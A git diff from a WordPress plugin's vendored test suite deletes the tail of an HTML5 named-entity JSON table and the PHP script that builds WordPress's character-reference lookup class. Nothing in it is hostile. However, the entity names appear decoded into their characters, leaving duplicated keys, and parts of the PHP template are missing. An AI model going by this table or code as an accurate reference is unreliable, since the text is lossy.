"characters": "\u225F" }, - """: { "codepoints": [34], "characters": "\u0022" }, - """: { "codepoints": [34], "characters": "\u0022" }, - "⇛": { "codepoints": [8667], "characters": "\u21DB" }, - "⇒": { "codepoints": [8658], "characters": "\u21D2" }, - "⤜": { "codepoints": [10524], "characters": "\u291C" }, - "⤏": { "codepoints": [10511], "characters": "\u290F" }, - "⥤": { "codepoints": [10596], "characters": "\u2964" }, - "∽̱": { "codepoints": [8765, 817], "characters": "\u223D\u0331" }, - "ŕ": { "codepoints": [341], "characters": "\u0155" }, - "√": { "codepoints": [8730], "characters": "\u221A" }, - "⦳": { "codepoints": [10675], "characters": "\u29B3" }, - "⟩": { "codepoints": [10217], "characters": "\u27E9" }, - "⦒": { "codepoints": [10642], "characters": "\u2992" }, - "⦥": { "codepoints": [10661], "characters": "\u29A5" }, - "⟩": { "codepoints": [10217], "characters": "\u27E9" }, - "»": { "codepoints": [187], "characters": "\u00BB" }, - "»": { "codepoints": [187], "characters": "\u00BB" }, - "→": { "codepoints": [8594], "characters": "\u2192" }, - "⥵": { "codepoints": [10613], "characters": "\u2975" }, - "⇥": { "codepoints": [8677], "characters": "\u21E5" }, - "⤠": { "codepoints": [10528], "characters": "\u2920" }, - "⤳": { "codepoints": [10547], "characters": "\u2933" }, - "⤞": { "codepoints": [10526], "characters": "\u291E" }, - "↪": { "codepoints": [8618], "characters": "\u21AA" }, - "↬": { "codepoints": [8620], "characters": "\u21AC" }, - "⥅": { "codepoints": [10565], "characters": "\u2945" }, - "⥴": { "codepoints": [10612], "characters": "\u2974" }, - "↣": { "codepoints": [8611], "characters": "\u21A3" }, - "↝": { "codepoints": [8605], "characters": "\u219D" }, - "⤚": { "codepoints": [10522], "characters": "\u291A" }, - "∶": { "codepoints": [8758], "characters": "\u2236" }, - "ℚ": { "codepoints": [8474], "characters": "\u211A" }, - "⤍": { "codepoints": [10509], "characters": "\u290D" }, - "❳": { "codepoints": [10099], "characters": "\u2773" }, - "}": { "codepoints": [125], "characters": "\u007D" }, - "]": { "codepoints": [93], "characters": "\u005D" }, - "⦌": { "codepoints": [10636], "characters": "\u298C" }, - "⦎": { "codepoints": [10638], "characters": "\u298E" }, - "⦐": { "codepoints": [10640], "characters": "\u2990" }, - "ř": { "codepoints": [345], "characters": "\u0159" }, - "ŗ": { "codepoints": [343], "characters": "\u0157" }, - "⌉": { "codepoints": [8969], "characters": "\u2309" }, - "}": { "codepoints": [125], "characters": "\u007D" }, - "р": { "codepoints": [1088], "characters": "\u0440" }, - "⤷": { "codepoints": [10551], "characters": "\u2937" }, - "⥩": { "codepoints": [10601], "characters": "\u2969" }, - "”": { "codepoints": [8221], "characters": "\u201D" }, - "”": { "codepoints": [8221], "characters": "\u201D" }, - "↳": { "codepoints": [8627], "characters": "\u21B3" }, - "ℜ": { "codepoints": [8476], "characters": "\u211C" }, - "ℛ": { "codepoints": [8475], "characters": "\u211B" }, - "ℜ": { "codepoints": [8476], "characters": "\u211C" }, - "ℝ": { "codepoints": [8477], "characters": "\u211D" }, - "▭": { "codepoints": [9645], "characters": "\u25AD" }, - "®": { "codepoints": [174], "characters": "\u00AE" }, - "®": { "codepoints": [174], "characters": "\u00AE" }, - "⥽": { "codepoints": [10621], "characters": "\u297D" }, - "⌋": { "codepoints": [8971], "characters": "\u230B" }, - "𝔯": { "codepoints": [120111], "characters": "\uD835\uDD2F" }, - "⇁": { "codepoints": [8641], "characters": "\u21C1" }, - "⇀": { "codepoints": [8640], "characters": "\u21C0" }, - "⥬": { "codepoints": [10604], "characters": "\u296C" }, - "ρ": { "codepoints": [961], "characters": "\u03C1" }, - "ϱ": { "codepoints": [1009], "characters": "\u03F1" }, - "→": { "codepoints": [8594], "characters": "\u2192" }, - "↣": { "codepoints": [8611], "characters": "\u21A3" }, - "⇁": { "codepoints": [8641], "characters": "\u21C1" }, - "⇀": { "codepoints": [8640], "characters": "\u21C0" }, - "⇄": { "codepoints": [8644], "characters": "\u21C4" }, - "⇌": { "codepoints": [8652], "characters": "\u21CC" }, - "⇉": { "codepoints": [8649], "characters": "\u21C9" }, - "↝": { "codepoints": [8605], "characters": "\u219D" }, - "⋌": { "codepoints": [8908], "characters": "\u22CC" }, - "˚": { "codepoints": [730], "characters": "\u02DA" }, - "≓": { "codepoints": [8787], "characters": "\u2253" }, - "⇄": { "codepoints": [8644], "characters": "\u21C4" }, - "⇌": { "codepoints": [8652], "characters": "\u21CC" }, - "‏": { "codepoints": [8207], "characters": "\u200F" }, - "⎱": { "codepoints": [9137], "characters": "\u23B1" }, - "⎱": { "codepoints": [9137], "characters": "\u23B1" }, - "⫮": { "codepoints": [10990], "characters": "\u2AEE" }, - "⟭": { "codepoints": [10221], "characters": "\u27ED" }, - "⇾": { "codepoints": [8702], "characters": "\u21FE" }, - "⟧": { "codepoints": [10215], "characters": "\u27E7" }, - "⦆": { "codepoints": [10630], "characters": "\u2986" }, - "𝕣": { "codepoints": [120163], "characters": "\uD835\uDD63" }, - "⨮": { "codepoints": [10798], "characters": "\u2A2E" }, - "⨵": { "codepoints": [10805], "characters": "\u2A35" }, - ")": { "codepoints": [41], "characters": "\u0029" }, - "⦔": { "codepoints": [10644], "characters": "\u2994" }, - "⨒": { "codepoints": [10770], "characters": "\u2A12" }, - "⇉": { "codepoints": [8649], "characters": "\u21C9" }, - "›": { "codepoints": [8250], "characters": "\u203A" }, - "𝓇": { "codepoints": [120007], "characters": "\uD835\uDCC7" }, - "↱": { "codepoints": [8625], "characters": "\u21B1" }, - "]": { "codepoints": [93], "characters": "\u005D" }, - "’": { "codepoints": [8217], "characters": "\u2019" }, - "’": { "codepoints": [8217], "characters": "\u2019" }, - "⋌": { "codepoints": [8908], "characters": "\u22CC" }, - "⋊": { "codepoints": [8906], "characters": "\u22CA" }, - "▹": { "codepoints": [9657], "characters": "\u25B9" }, - "⊵": { "codepoints": [8885], "characters": "\u22B5" }, - "▸": { "codepoints": [9656], "characters": "\u25B8" }, - "⧎": { "codepoints": [10702], "characters": "\u29CE" }, - "⥨": { "codepoints": [10600], "characters": "\u2968" }, - "℞": { "codepoints": [8478], "characters": "\u211E" }, - "ś": { "codepoints": [347], "characters": "\u015B" }, - "‚": { "codepoints": [8218], "characters": "\u201A" }, - "≻": { "codepoints": [8827], "characters": "\u227B" }, - "⪴": { "codepoints": [10932], "characters": "\u2AB4" }, - "⪸": { "codepoints": [10936], "characters": "\u2AB8" }, - "š": { "codepoints": [353], "characters": "\u0161" }, - "≽": { "codepoints": [8829], "characters": "\u227D" }, - "⪰": { "codepoints": [10928], "characters": "\u2AB0" }, - "ş": { "codepoints": [351], "characters": "\u015F" }, - "ŝ": { "codepoints": [349], "characters": "\u015D" }, - "⪶": { "codepoints": [10934], "characters": "\u2AB6" }, - "⪺": { "codepoints": [10938], "characters": "\u2ABA" }, - "⋩": { "codepoints": [8937], "characters": "\u22E9" }, - "⨓": { "codepoints": [10771], "characters": "\u2A13" }, - "≿": { "codepoints": [8831], "characters": "\u227F" }, - "с": { "codepoints": [1089], "characters": "\u0441" }, - "⋅": { "codepoints": [8901], "characters": "\u22C5" }, - "⊡": { "codepoints": [8865], "characters": "\u22A1" }, - "⩦": { "codepoints": [10854], "characters": "\u2A66" }, - "⇘": { "codepoints": [8664], "characters": "\u21D8" }, - "⤥": { "codepoints": [10533], "characters": "\u2925" }, - "↘": { "codepoints": [8600], "characters": "\u2198" }, - "↘": { "codepoints": [8600], "characters": "\u2198" }, - "§": { "codepoints": [167], "characters": "\u00A7" }, - "§": { "codepoints": [167], "characters": "\u00A7" }, - ";": { "codepoints": [59], "characters": "\u003B" }, - "⤩": { "codepoints": [10537], "characters": "\u2929" }, - "∖": { "codepoints": [8726], "characters": "\u2216" }, - "∖": { "codepoints": [8726], "characters": "\u2216" }, - "✶": { "codepoints": [10038], "characters": "\u2736" }, - "𝔰": { "codepoints": [120112], "characters": "\uD835\uDD30" }, - "⌢": { "codepoints": [8994], "characters": "\u2322" }, - "♯": { "codepoints": [9839], "characters": "\u266F" }, - "щ": { "codepoints": [1097], "characters": "\u0449" }, - "ш": { "codepoints": [1096], "characters": "\u0448" }, - "∣": { "codepoints": [8739], "characters": "\u2223" }, - "∥": { "codepoints": [8741], "characters": "\u2225" }, - "­": { "codepoints": [173], "characters": "\u00AD" }, - "­": { "codepoints": [173], "characters": "\u00AD" }, - "σ": { "codepoints": [963], "characters": "\u03C3" }, - "ς": { "codepoints": [962], "characters": "\u03C2" }, - "ς": { "codepoints": [962], "characters": "\u03C2" }, - "∼": { "codepoints": [8764], "characters": "\u223C" }, - "⩪": { "codepoints": [10858], "characters": "\u2A6A" }, - "≃": { "codepoints": [8771], "characters": "\u2243" }, - "≃": { "codepoints": [8771], "characters": "\u2243" }, - "⪞": { "codepoints": [10910], "characters": "\u2A9E" }, - "⪠": { "codepoints": [10912], "characters": "\u2AA0" }, - "⪝": { "codepoints": [10909], "characters": "\u2A9D" }, - "⪟": { "codepoints": [10911], "characters": "\u2A9F" }, - "≆": { "codepoints": [8774], "characters": "\u2246" }, - "⨤": { "codepoints": [10788], "characters": "\u2A24" }, - "⥲": { "codepoints": [10610], "characters": "\u2972" }, - "←": { "codepoints": [8592], "characters": "\u2190" }, - "∖": { "codepoints": [8726], "characters": "\u2216" }, - "⨳": { "codepoints": [10803], "characters": "\u2A33" }, - "⧤": { "codepoints": [10724], "characters": "\u29E4" }, - "∣": { "codepoints": [8739], "characters": "\u2223" }, - "⌣": { "codepoints": [8995], "characters": "\u2323" }, - "⪪": { "codepoints": [10922], "characters": "\u2AAA" }, - "⪬": { "codepoints": [10924], "characters": "\u2AAC" }, - "⪬︀": { "codepoints": [10924, 65024], "characters": "\u2AAC\uFE00" }, - "ь": { "codepoints": [1100], "characters": "\u044C" }, - "/": { "codepoints": [47], "characters": "\u002F" }, - "⧄": { "codepoints": [10692], "characters": "\u29C4" }, - "⌿": { "codepoints": [9023], "characters": "\u233F" }, - "𝕤": { "codepoints": [120164], "characters": "\uD835\uDD64" }, - "♠": { "codepoints": [9824], "characters": "\u2660" }, - "♠": { "codepoints": [9824], "characters": "\u2660" }, - "∥": { "codepoints": [8741], "characters": "\u2225" }, - "⊓": { "codepoints": [8851], "characters": "\u2293" }, - "⊓︀": { "codepoints": [8851, 65024], "characters": "\u2293\uFE00" }, - "⊔": { "codepoints": [8852], "characters": "\u2294" }, - "⊔︀": { "codepoints": [8852, 65024], "characters": "\u2294\uFE00" }, - "⊏": { "codepoints": [8847], "characters": "\u228F" }, - "⊑": { "codepoints": [8849], "characters": "\u2291" }, - "⊏": { "codepoints": [8847], "characters": "\u228F" }, - "⊑": { "codepoints": [8849], "characters": "\u2291" }, - "⊐": { "codepoints": [8848], "characters": "\u2290" }, - "⊒": { "codepoints": [8850], "characters": "\u2292" }, - "⊐": { "codepoints": [8848], "characters": "\u2290" }, - "⊒": { "codepoints": [8850], "characters": "\u2292" }, - "□": { "codepoints": [9633], "characters": "\u25A1" }, - "□": { "codepoints": [9633], "characters": "\u25A1" }, - "▪": { "codepoints": [9642], "characters": "\u25AA" }, - "▪": { "codepoints": [9642], "characters": "\u25AA" }, - "→": { "codepoints": [8594], "characters": "\u2192" }, - "𝓈": { "codepoints": [120008], "characters": "\uD835\uDCC8" }, - "∖": { "codepoints": [8726], "characters": "\u2216" }, - "⌣": { "codepoints": [8995], "characters": "\u2323" }, - "⋆": { "codepoints": [8902], "characters": "\u22C6" }, - "☆": { "codepoints": [9734], "characters": "\u2606" }, - "★": { "codepoints": [9733], "characters": "\u2605" }, - "ϵ": { "codepoints": [1013], "characters": "\u03F5" }, - "ϕ": { "codepoints": [981], "characters": "\u03D5" }, - "¯": { "codepoints": [175], "characters": "\u00AF" }, - "⊂": { "codepoints": [8834], "characters": "\u2282" }, - "⫅": { "codepoints": [10949], "characters": "\u2AC5" }, - "⪽": { "codepoints": [10941], "characters": "\u2ABD" }, - "⊆": { "codepoints": [8838], "characters": "\u2286" }, - "⫃": { "codepoints": [10947], "characters": "\u2AC3" }, - "⫁": { "codepoints": [10945], "characters": "\u2AC1" }, - "⫋": { "codepoints": [10955], "characters": "\u2ACB" }, - "⊊": { "codepoints": [8842], "characters": "\u228A" }, - "⪿": { "codepoints": [10943], "characters": "\u2ABF" }, - "⥹": { "codepoints": [10617], "characters": "\u2979" }, - "⊂": { "codepoints": [8834], "characters": "\u2282" }, - "⊆": { "codepoints": [8838], "characters": "\u2286" }, - "⫅": { "codepoints": [10949], "characters": "\u2AC5" }, - "⊊": { "codepoints": [8842], "characters": "\u228A" }, - "⫋": { "codepoints": [10955], "characters": "\u2ACB" }, - "⫇": { "codepoints": [10951], "characters": "\u2AC7" }, - "⫕": { "codepoints": [10965], "characters": "\u2AD5" }, - "⫓": { "codepoints": [10963], "characters": "\u2AD3" }, - "≻": { "codepoints": [8827], "characters": "\u227B" }, - "⪸": { "codepoints": [10936], "characters": "\u2AB8" }, - "≽": { "codepoints": [8829], "characters": "\u227D" }, - "⪰": { "codepoints": [10928], "characters": "\u2AB0" }, - "⪺": { "codepoints": [10938], "characters": "\u2ABA" }, - "⪶": { "codepoints": [10934], "characters": "\u2AB6" }, - "⋩": { "codepoints": [8937], "characters": "\u22E9" }, - "≿": { "codepoints": [8831], "characters": "\u227F" }, - "∑": { "codepoints": [8721], "characters": "\u2211" }, - "♪": { "codepoints": [9834], "characters": "\u266A" }, - "¹": { "codepoints": [185], "characters": "\u00B9" }, - "¹": { "codepoints": [185], "characters": "\u00B9" }, - "²": { "codepoints": [178], "characters": "\u00B2" }, - "²": { "codepoints": [178], "characters": "\u00B2" }, - "³": { "codepoints": [179], "characters": "\u00B3" }, - "³": { "codepoints": [179], "characters": "\u00B3" }, - "⊃": { "codepoints": [8835], "characters": "\u2283" }, - "⫆": { "codepoints": [10950], "characters": "\u2AC6" }, - "⪾": { "codepoints": [10942], "characters": "\u2ABE" }, - "⫘": { "codepoints": [10968], "characters": "\u2AD8" }, - "⊇": { "codepoints": [8839], "characters": "\u2287" }, - "⫄": { "codepoints": [10948], "characters": "\u2AC4" }, - "⟉": { "codepoints": [10185], "characters": "\u27C9" }, - "⫗": { "codepoints": [10967], "characters": "\u2AD7" }, - "⥻": { "codepoints": [10619], "characters": "\u297B" }, - "⫂": { "codepoints": [10946], "characters": "\u2AC2" }, - "⫌": { "codepoints": [10956], "characters": "\u2ACC" }, - "⊋": { "codepoints": [8843], "characters": "\u228B" }, - "⫀": { "codepoints": [10944], "characters": "\u2AC0" }, - "⊃": { "codepoints": [8835], "characters": "\u2283" }, - "⊇": { "codepoints": [8839], "characters": "\u2287" }, - "⫆": { "codepoints": [10950], "characters": "\u2AC6" }, - "⊋": { "codepoints": [8843], "characters": "\u228B" }, - "⫌": { "codepoints": [10956], "characters": "\u2ACC" }, - "⫈": { "codepoints": [10952], "characters": "\u2AC8" }, - "⫔": { "codepoints": [10964], "characters": "\u2AD4" }, - "⫖": { "codepoints": [10966], "characters": "\u2AD6" }, - "⇙": { "codepoints": [8665], "characters": "\u21D9" }, - "⤦": { "codepoints": [10534], "characters": "\u2926" }, - "↙": { "codepoints": [8601], "characters": "\u2199" }, - "↙": { "codepoints": [8601], "characters": "\u2199" }, - "⤪": { "codepoints": [10538], "characters": "\u292A" }, - "ß": { "codepoints": [223], "characters": "\u00DF" }, - "ß": { "codepoints": [223], "characters": "\u00DF" }, - "⌖": { "codepoints": [8982], "characters": "\u2316" }, - "τ": { "codepoints": [964], "characters": "\u03C4" }, - "⎴": { "codepoints": [9140], "characters": "\u23B4" }, - "ť": { "codepoints": [357], "characters": "\u0165" }, - "ţ": { "codepoints": [355], "characters": "\u0163" }, - "т": { "codepoints": [1090], "characters": "\u0442" }, - "⃛": { "codepoints": [8411], "characters": "\u20DB" }, - "⌕": { "codepoints": [8981], "characters": "\u2315" }, - "𝔱": { "codepoints": [120113], "characters": "\uD835\uDD31" }, - "∴": { "codepoints": [8756], "characters": "\u2234" }, - "∴": { "codepoints": [8756], "characters": "\u2234" }, - "θ": { "codepoints": [952], "characters": "\u03B8" }, - "ϑ": { "codepoints": [977], "characters": "\u03D1" }, - "ϑ": { "codepoints": [977], "characters": "\u03D1" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "∼": { "codepoints": [8764], "characters": "\u223C" }, - " ": { "codepoints": [8201], "characters": "\u2009" }, - "≈": { "codepoints": [8776], "characters": "\u2248" }, - "∼": { "codepoints": [8764], "characters": "\u223C" }, - "þ": { "codepoints": [254], "characters": "\u00FE" }, - "þ": { "codepoints": [254], "characters": "\u00FE" }, - "˜": { "codepoints": [732], "characters": "\u02DC" }, - "×": { "codepoints": [215], "characters": "\u00D7" }, - "×": { "codepoints": [215], "characters": "\u00D7" }, - "⊠": { "codepoints": [8864], "characters": "\u22A0" }, - "⨱": { "codepoints": [10801], "characters": "\u2A31" }, - "⨰": { "codepoints": [10800], "characters": "\u2A30" }, - "∭": { "codepoints": [8749], "characters": "\u222D" }, - "⤨": { "codepoints": [10536], "characters": "\u2928" }, - "⊤": { "codepoints": [8868], "characters": "\u22A4" }, - "⌶": { "codepoints": [9014], "characters": "\u2336" }, - "⫱": { "codepoints": [10993], "characters": "\u2AF1" }, - "𝕥": { "codepoints": [120165], "characters": "\uD835\uDD65" }, - "⫚": { "codepoints": [10970], "characters": "\u2ADA" }, - "⤩": { "codepoints": [10537], "characters": "\u2929" }, - "‴": { "codepoints": [8244], "characters": "\u2034" }, - "™": { "codepoints": [8482], "characters": "\u2122" }, - "▵": { "codepoints": [9653], "characters": "\u25B5" }, - "▿": { "codepoints": [9663], "characters": "\u25BF" }, - "◃": { "codepoints": [9667], "characters": "\u25C3" }, - "⊴": { "codepoints": [8884], "characters": "\u22B4" }, - "≜": { "codepoints": [8796], "characters": "\u225C" }, - "▹": { "codepoints": [9657], "characters": "\u25B9" }, - "⊵": { "codepoints": [8885], "characters": "\u22B5" }, - "◬": { "codepoints": [9708], "characters": "\u25EC" }, - "≜": { "codepoints": [8796], "characters": "\u225C" }, - "⨺": { "codepoints": [10810], "characters": "\u2A3A" }, - "⨹": { "codepoints": [10809], "characters": "\u2A39" }, - "⧍": { "codepoints": [10701], "characters": "\u29CD" }, - "⨻": { "codepoints": [10811], "characters": "\u2A3B" }, - "⏢": { "codepoints": [9186], "characters": "\u23E2" }, - "𝓉": { "codepoints": [120009], "characters": "\uD835\uDCC9" }, - "ц": { "codepoints": [1094], "characters": "\u0446" }, - "ћ": { "codepoints": [1115], "characters": "\u045B" }, - "ŧ": { "codepoints": [359], "characters": "\u0167" }, - "≬": { "codepoints": [8812], "characters": "\u226C" }, - "↞": { "codepoints": [8606], "characters": "\u219E" }, - "↠": { "codepoints": [8608], "characters": "\u21A0" }, - "⇑": { "codepoints": [8657], "characters": "\u21D1" }, - "⥣": { "codepoints": [10595], "characters": "\u2963" }, - "ú": { "codepoints": [250], "characters": "\u00FA" }, - "ú": { "codepoints": [250], "characters": "\u00FA" }, - "↑": { "codepoints": [8593], "characters": "\u2191" }, - "ў": { "codepoints": [1118], "characters": "\u045E" }, - "ŭ": { "codepoints": [365], "characters": "\u016D" }, - "û": { "codepoints": [251], "characters": "\u00FB" }, - "û": { "codepoints": [251], "characters": "\u00FB" }, - "у": { "codepoints": [1091], "characters": "\u0443" }, - "⇅": { "codepoints": [8645], "characters": "\u21C5" }, - "ű": { "codepoints": [369], "characters": "\u0171" }, - "⥮": { "codepoints": [10606], "characters": "\u296E" }, - "⥾": { "codepoints": [10622], "characters": "\u297E" }, - "𝔲": { "codepoints": [120114], "characters": "\uD835\uDD32" }, - "ù": { "codepoints": [249], "characters": "\u00F9" }, - "ù": { "codepoints": [249], "characters": "\u00F9" }, - "↿": { "codepoints": [8639], "characters": "\u21BF" }, - "↾": { "codepoints": [8638], "characters": "\u21BE" }, - "▀": { "codepoints": [9600], "characters": "\u2580" }, - "⌜": { "codepoints": [8988], "characters": "\u231C" }, - "⌜": { "codepoints": [8988], "characters": "\u231C" }, - "⌏": { "codepoints": [8975], "characters": "\u230F" }, - "◸": { "codepoints": [9720], "characters": "\u25F8" }, - "ū": { "codepoints": [363], "characters": "\u016B" }, - "¨": { "codepoints": [168], "characters": "\u00A8" }, - "¨": { "codepoints": [168], "characters": "\u00A8" }, - "ų": { "codepoints": [371], "characters": "\u0173" }, - "𝕦": { "codepoints": [120166], "characters": "\uD835\uDD66" }, - "↑": { "codepoints": [8593], "characters": "\u2191" }, - "↕": { "codepoints": [8597], "characters": "\u2195" }, - "↿": { "codepoints": [8639], "characters": "\u21BF" }, - "↾": { "codepoints": [8638], "characters": "\u21BE" }, - "⊎": { "codepoints": [8846], "characters": "\u228E" }, - "υ": { "codepoints": [965], "characters": "\u03C5" }, - "ϒ": { "codepoints": [978], "characters": "\u03D2" }, - "υ": { "codepoints": [965], "characters": "\u03C5" }, - "⇈": { "codepoints": [8648], "characters": "\u21C8" }, - "⌝": { "codepoints": [8989], "characters": "\u231D" }, - "⌝": { "codepoints": [8989], "characters": "\u231D" }, - "⌎": { "codepoints": [8974], "characters": "\u230E" }, - "ů": { "codepoints": [367], "characters": "\u016F" }, - "◹": { "codepoints": [9721], "characters": "\u25F9" }, - "𝓊": { "codepoints": [120010], "characters": "\uD835\uDCCA" }, - "⋰": { "codepoints": [8944], "characters": "\u22F0" }, - "ũ": { "codepoints": [361], "characters": "\u0169" }, - "▵": { "codepoints": [9653], "characters": "\u25B5" }, - "▴": { "codepoints": [9652], "characters": "\u25B4" }, - "⇈": { "codepoints": [8648], "characters": "\u21C8" }, - "ü": { "codepoints": [252], "characters": "\u00FC" }, - "ü": { "codepoints": [252], "characters": "\u00FC" }, - "⦧": { "codepoints": [10663], "characters": "\u29A7" }, - "⇕": { "codepoints": [8661], "characters": "\u21D5" }, - "⫨": { "codepoints": [10984], "characters": "\u2AE8" }, - "⫩": { "codepoints": [10985], "characters": "\u2AE9" }, - "⊨": { "codepoints": [8872], "characters": "\u22A8" }, - "⦜": { "codepoints": [10652], "characters": "\u299C" }, - "ϵ": { "codepoints": [1013], "characters": "\u03F5" }, - "ϰ": { "codepoints": [1008], "characters": "\u03F0" }, - "∅": { "codepoints": [8709], "characters": "\u2205" }, - "ϕ": { "codepoints": [981], "characters": "\u03D5" }, - "ϖ": { "codepoints": [982], "characters": "\u03D6" }, - "∝": { "codepoints": [8733], "characters": "\u221D" }, - "↕": { "codepoints": [8597], "characters": "\u2195" }, - "ϱ": { "codepoints": [1009], "characters": "\u03F1" }, - "ς": { "codepoints": [962], "characters": "\u03C2" }, - "⊊︀": { "codepoints": [8842, 65024], "characters": "\u228A\uFE00" }, - "⫋︀": { "codepoints": [10955, 65024], "characters": "\u2ACB\uFE00" }, - "⊋︀": { "codepoints": [8843, 65024], "characters": "\u228B\uFE00" }, - "⫌︀": { "codepoints": [10956, 65024], "characters": "\u2ACC\uFE00" }, - "ϑ": { "codepoints": [977], "characters": "\u03D1" }, - "⊲": { "codepoints": [8882], "characters": "\u22B2" }, - "⊳": { "codepoints": [8883], "characters": "\u22B3" }, - "в": { "codepoints": [1074], "characters": "\u0432" }, - "⊢": { "codepoints": [8866], "characters": "\u22A2" }, - "∨": { "codepoints": [8744], "characters": "\u2228" }, - "⊻": { "codepoints": [8891], "characters": "\u22BB" }, - "≚": { "codepoints": [8794], "characters": "\u225A" }, - "⋮": { "codepoints": [8942], "characters": "\u22EE" }, - "|": { "codepoints": [124], "characters": "\u007C" }, - "|": { "codepoints": [124], "characters": "\u007C" }, - "𝔳": { "codepoints": [120115], "characters": "\uD835\uDD33" }, - "⊲": { "codepoints": [8882], "characters": "\u22B2" }, - "⊂⃒": { "codepoints": [8834, 8402], "characters": "\u2282\u20D2" }, - "⊃⃒": { "codepoints": [8835, 8402], "characters": "\u2283\u20D2" }, - "𝕧": { "codepoints": [120167], "characters": "\uD835\uDD67" }, - "∝": { "codepoints": [8733], "characters": "\u221D" }, - "⊳": { "codepoints": [8883], "characters": "\u22B3" }, - "𝓋": { "codepoints": [120011], "characters": "\uD835\uDCCB" }, - "⫋︀": { "codepoints": [10955, 65024], "characters": "\u2ACB\uFE00" }, - "⊊︀": { "codepoints": [8842, 65024], "characters": "\u228A\uFE00" }, - "⫌︀": { "codepoints": [10956, 65024], "characters": "\u2ACC\uFE00" }, - "⊋︀": { "codepoints": [8843, 65024], "characters": "\u228B\uFE00" }, - "⦚": { "codepoints": [10650], "characters": "\u299A" }, - "ŵ": { "codepoints": [373], "characters": "\u0175" }, - "⩟": { "codepoints": [10847], "characters": "\u2A5F" }, - "∧": { "codepoints": [8743], "characters": "\u2227" }, - "≙": { "codepoints": [8793], "characters": "\u2259" }, - "℘": { "codepoints": [8472], "characters": "\u2118" }, - "𝔴": { "codepoints": [120116], "characters": "\uD835\uDD34" }, - "𝕨": { "codepoints": [120168], "characters": "\uD835\uDD68" }, - "℘": { "codepoints": [8472], "characters": "\u2118" }, - "≀": { "codepoints": [8768], "characters": "\u2240" }, - "≀": { "codepoints": [8768], "characters": "\u2240" }, - "𝓌": { "codepoints": [120012], "characters": "\uD835\uDCCC" }, - "⋂": { "codepoints": [8898], "characters": "\u22C2" }, - "◯": { "codepoints": [9711], "characters": "\u25EF" }, - "⋃": { "codepoints": [8899], "characters": "\u22C3" }, - "▽": { "codepoints": [9661], "characters": "\u25BD" }, - "𝔵": { "codepoints": [120117], "characters": "\uD835\uDD35" }, - "⟺": { "codepoints": [10234], "characters": "\u27FA" }, - "⟷": { "codepoints": [10231], "characters": "\u27F7" }, - "ξ": { "codepoints": [958], "characters": "\u03BE" }, - "⟸": { "codepoints": [10232], "characters": "\u27F8" }, - "⟵": { "codepoints": [10229], "characters": "\u27F5" }, - "⟼": { "codepoints": [10236], "characters": "\u27FC" }, - "⋻": { "codepoints": [8955], "characters": "\u22FB" }, - "⨀": { "codepoints": [10752], "characters": "\u2A00" }, - "𝕩": { "codepoints": [120169], "characters": "\uD835\uDD69" }, - "⨁": { "codepoints": [10753], "characters": "\u2A01" }, - "⨂": { "codepoints": [10754], "characters": "\u2A02" }, - "⟹": { "codepoints": [10233], "characters": "\u27F9" }, - "⟶": { "codepoints": [10230], "characters": "\u27F6" }, - "𝓍": { "codepoints": [120013], "characters": "\uD835\uDCCD" }, - "⨆": { "codepoints": [10758], "characters": "\u2A06" }, - "⨄": { "codepoints": [10756], "characters": "\u2A04" }, - "△": { "codepoints": [9651], "characters": "\u25B3" }, - "⋁": { "codepoints": [8897], "characters": "\u22C1" }, - "⋀": { "codepoints": [8896], "characters": "\u22C0" }, - "ý": { "codepoints": [253], "characters": "\u00FD" }, - "ý": { "codepoints": [253], "characters": "\u00FD" }, - "я": { "codepoints": [1103], "characters": "\u044F" }, - "ŷ": { "codepoints": [375], "characters": "\u0177" }, - "ы": { "codepoints": [1099], "characters": "\u044B" }, - "¥": { "codepoints": [165], "characters": "\u00A5" }, - "¥": { "codepoints": [165], "characters": "\u00A5" }, - "𝔶": { "codepoints": [120118], "characters": "\uD835\uDD36" }, - "ї": { "codepoints": [1111], "characters": "\u0457" }, - "𝕪": { "codepoints": [120170], "characters": "\uD835\uDD6A" }, - "𝓎": { "codepoints": [120014], "characters": "\uD835\uDCCE" }, - "ю": { "codepoints": [1102], "characters": "\u044E" }, - "ÿ": { "codepoints": [255], "characters": "\u00FF" }, - "ÿ": { "codepoints": [255], "characters": "\u00FF" }, - "ź": { "codepoints": [378], "characters": "\u017A" }, - "ž": { "codepoints": [382], "characters": "\u017E" }, - "з": { "codepoints": [1079], "characters": "\u0437" }, - "ż": { "codepoints": [380], "characters": "\u017C" }, - "ℨ": { "codepoints": [8488], "characters": "\u2128" }, - "ζ": { "codepoints": [950], "characters": "\u03B6" }, - "𝔷": { "codepoints": [120119], "characters": "\uD835\uDD37" }, - "ж": { "codepoints": [1078], "characters": "\u0436" }, - "⇝": { "codepoints": [8669], "characters": "\u21DD" }, - "𝕫": { "codepoints": [120171], "characters": "\uD835\uDD6B" }, - "𝓏": { "codepoints": [120015], "characters": "\uD835\uDCCF" }, - "‍": { "codepoints": [8205], "characters": "\u200D" }, - "‌": { "codepoints": [8204], "characters": "\u200C" } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/generate-html5-named-character-references.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/generate-html5-named-character-references.php deleted file mode 100644 index 609d521d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/generate-html5-named-character-references.php +++ /dev/null @@ -1,101 +0,0 @@ - array( 0xA9 ), - * 'characters' => '©', - * ); - * - * @see https://html.spec.whatwg.org/entities.json - * - * @var array. - */ -$entities = json_decode( - file_get_contents( __DIR__ . '/entities.json' ), - JSON_OBJECT_AS_ARRAY -); - -/** - * Direct mapping from character reference name to UTF-8 string. - * - * Example: - * - * $character_references['©'] === '©'; - * - * @var array. - */ -$character_references = array(); -foreach ( $entities as $reference => $metadata ) { - $reference_without_ampersand_prefix = substr( $reference, 1 ); - $character_references[ $reference_without_ampersand_prefix ] = $metadata['characters']; -} - -$html5_map = WP_Token_Map::from_array( $character_references ); - -/** - * Contains the new contents for the auto-generated module. - * - * Note that in this template, the `$` is escaped with `\$` so that it - * comes through as a `$` in the output. Without escaping, PHP will look - * for a variable of the given name to interpolate into the template. - * - * @var string - */ -$module_contents = <<precomputed_php_source_table()}; - -EOF; - -file_put_contents( - __DIR__ . '/../../../../src/wp-includes/html-api/html5-named-character-references.php', - $module_contents -); - -if ( posix_isatty( STDOUT ) ) { - echo "\e[1;32mOK\e[0;90m: \e[mSuccessfully generated optimized lookup class.\n"; 